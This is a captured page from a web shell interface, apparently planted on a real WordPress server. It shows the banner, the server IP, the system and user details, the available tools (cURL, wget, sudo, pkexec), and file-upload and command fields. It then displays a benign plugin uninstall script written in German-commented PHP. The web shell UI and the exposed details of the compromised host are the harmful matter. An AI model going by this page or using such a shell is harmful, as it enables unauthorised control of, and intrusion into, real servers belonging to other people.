403Webshell
Server IP : 202.61.199.114  /  Your IP : 216.73.217.139
Web Server : nginx/1.22.1
System : Linux de.arni-solutions.de 6.1.0-49-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
User : web20 ( 1018)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/clients/client2/web20/web/wp-content/plugins/arni-crm-tracking/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/clients/client2/web20/web/wp-content/plugins/arni-crm-tracking//uninstall.php
<?php
/**
 * Deinstallation. Löscht Daten nur, wenn in den Einstellungen ausdrücklich gewünscht.
 *
 * @package ArNi_CRM_Tracking
 */

if ( ! defined( 'WP_UNINSTALL_PLUGIN' ) ) {
	exit;
}

$settings = get_option( 'arni_crm_tracking_settings', array() );
$delete   = is_array( $settings ) && ! empty( $settings['delete_data_on_uninstall'] );

// Cron immer entfernen.
wp_clear_scheduled_hook( 'arni_crm_tracking_cleanup' );

if ( $delete ) {
	global $wpdb;
	$tables = array(
		$wpdb->prefix . 'arni_tracking_events',
		$wpdb->prefix . 'arni_tracking_conversions',
		$wpdb->prefix . 'arni_tracking_visits',
	);
	foreach ( $tables as $table ) {
		// Tabellenname ist intern/konstruiert, keine Nutzereingabe.
		$wpdb->query( 'DROP TABLE IF EXISTS ' . $table ); // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared
	}
	delete_option( 'arni_crm_tracking_settings' );
	delete_option( 'arni_crm_tracking_db_version' );
}

Youez - 2016 - github.com/yon3zu
LinuXploit